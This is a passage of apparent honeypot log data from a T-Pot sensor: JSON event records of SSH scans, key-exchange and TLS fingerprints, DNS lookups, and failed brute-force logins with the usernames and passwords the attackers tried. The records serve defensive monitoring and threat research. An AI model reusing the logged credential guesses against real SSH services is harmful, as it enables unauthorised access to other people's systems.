"rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "902d9029d637", "@version": "1", "timestamp": "2021-09-20T11:40:53.824413Z", "@timestamp": "2021-09-20T11:40:53.824Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31003	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:40:54.082936+03	2021-09-20 14:45:03.916143+03	{"_id": "1gYCA3wBvYTbRNuETEAo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [testphp/testphp] failed", "session": "902d9029d637", "@version": "1", "password": "testphp", "username": "testphp", "timestamp": "2021-09-20T11:40:54.082936Z", "@timestamp": "2021-09-20T11:40:54.082Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31004	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:40:55.126905+03	2021-09-20 14:45:03.917172+03	{"_id": "1wYCA3wBvYTbRNuEUEAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "902d9029d637", "@version": "1", "duration": 1.3406338691711426, "timestamp": "2021-09-20T11:40:55.126905Z", "@timestamp": "2021-09-20T11:40:55.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31005	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:41:06.193853+03	2021-09-20 14:45:03.919145+03	{"_id": "7AYCA3wBvYTbRNuEfECl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:41:03.188492+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 222, "bytes_toserver": 222}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1141213399867468, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 16122, "dest_port": 22, "timestamp": "2021-09-20T11:41:06.193853Z", "@timestamp": "2021-09-20T11:41:06.193Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
44343	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:35:21.532964+03	2021-09-20 16:45:01.531564+03	{"_id": "DgZrA3wBvYTbRNuEFacL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:35:21.532964Z", "@timestamp": "2021-09-20T13:35:21.532Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
31006	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:41:09.129711+03	2021-09-20 14:45:03.920144+03	{"_id": "9AYCA3wBvYTbRNuEhUCN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57142, "timestamp": "2021-09-20T11:41:09.129711", "@timestamp": "2021-09-20T11:41:09.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31007	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:41:09.465659+03	2021-09-20 14:45:03.922142+03	{"_id": "BAYCA3wBvYTbRNuEiUF2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57094, "timestamp": "2021-09-20T11:41:09.465659", "@timestamp": "2021-09-20T11:41:09.465Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31008	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:41:09.736685+03	2021-09-20 14:45:03.923142+03	{"_id": "BgYCA3wBvYTbRNuEikGv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "1373effa62ce", "@version": "1", "timestamp": "2021-09-20T11:41:09.736685Z", "@timestamp": "2021-09-20T11:41:09.736Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31009	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:40:51.037492+03	2021-09-20 14:45:03.924142+03	{"_id": "yAYCA3wBvYTbRNuEQEBt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "762e7e7791a9", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:40:51.037492Z", "@timestamp": "2021-09-20T11:40:51.037Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
31010	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:40:52.214543+03	2021-09-20 14:45:03.926142+03	{"_id": "yQYCA3wBvYTbRNuEREBW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "762e7e7791a9", "@version": "1", "duration": 3.0965182781219482, "timestamp": "2021-09-20T11:40:52.214543Z", "@timestamp": "2021-09-20T11:40:52.214Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
31011	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:40:53.823862+03	2021-09-20 14:45:03.927141+03	{"_id": "ywYCA3wBvYTbRNuESUDY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 52999682873570, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50336, "dest_port": 22, "timestamp": "2021-09-20T11:40:53.823862Z", "@timestamp": "2021-09-20T11:40:53.823Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31012	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:40:53.787215+03	2021-09-20 14:45:03.928141+03	{"_id": "zAYCA3wBvYTbRNuESkDu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50336, "timestamp": "2021-09-20T11:40:53.787215", "@timestamp": "2021-09-20T11:40:53.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31013	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:41:01.29259+03	2021-09-20 14:45:03.929141+03	{"_id": "2wYCA3wBvYTbRNuEZ0CD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.session.closed", "message": "Connection lost after 106 seconds", "session": "0da8ac4e2fce", "@version": "1", "duration": 106.13322353363037, "timestamp": "2021-09-20T11:41:01.292590Z", "@timestamp": "2021-09-20T11:41:01.292Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31014	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:41:04.568783+03	2021-09-20 14:45:03.930143+03	{"_id": "4wYCA3wBvYTbRNuEdEDU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 22449, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 182, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1494972676221217, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 37005, "timestamp": "2021-09-20T11:41:04.568783Z", "@timestamp": "2021-09-20T11:41:04.568Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31015	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:41:04.622335+03	2021-09-20 14:45:03.931142+03	{"_id": "5QYCA3wBvYTbRNuEdUDr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35526, "dest_port": 443, "timestamp": "2021-09-20T11:41:04.622335", "@timestamp": "2021-09-20T11:41:04.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31016	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:41:01.12955+03	2021-09-20 14:45:03.933142+03	{"_id": "2gYCA3wBvYTbRNuEZ0CD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.login.failed", "message": "login attempt [admin/#EDC4rfv] failed", "session": "0da8ac4e2fce", "@version": "1", "password": "#EDC4rfv", "username": "admin", "timestamp": "2021-09-20T11:41:01.129550Z", "@timestamp": "2021-09-20T11:41:01.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31017	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:41:04.567585+03	2021-09-20 14:45:03.934145+03	{"_id": "4gYCA3wBvYTbRNuEdEDU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 22449, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1494972676221217, "@version": "1", "in_iface": "enp5s0", "src_port": 37005, "dest_port": 53, "timestamp": "2021-09-20T11:41:04.567585Z", "@timestamp": "2021-09-20T11:41:04.567Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31018	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:41:04.66406+03	2021-09-20 14:45:03.935142+03	{"_id": "5AYCA3wBvYTbRNuEdUDr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35526, "timestamp": "2021-09-20T11:41:04.664060", "@timestamp": "2021-09-20T11:41:04.664Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31019	176.122.188.154	109.199.241.180	Fatt	2021-09-20 14:41:09.300337+03	2021-09-20 14:45:03.936142+03	{"_id": "AwYCA3wBvYTbRNuEiUF2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": 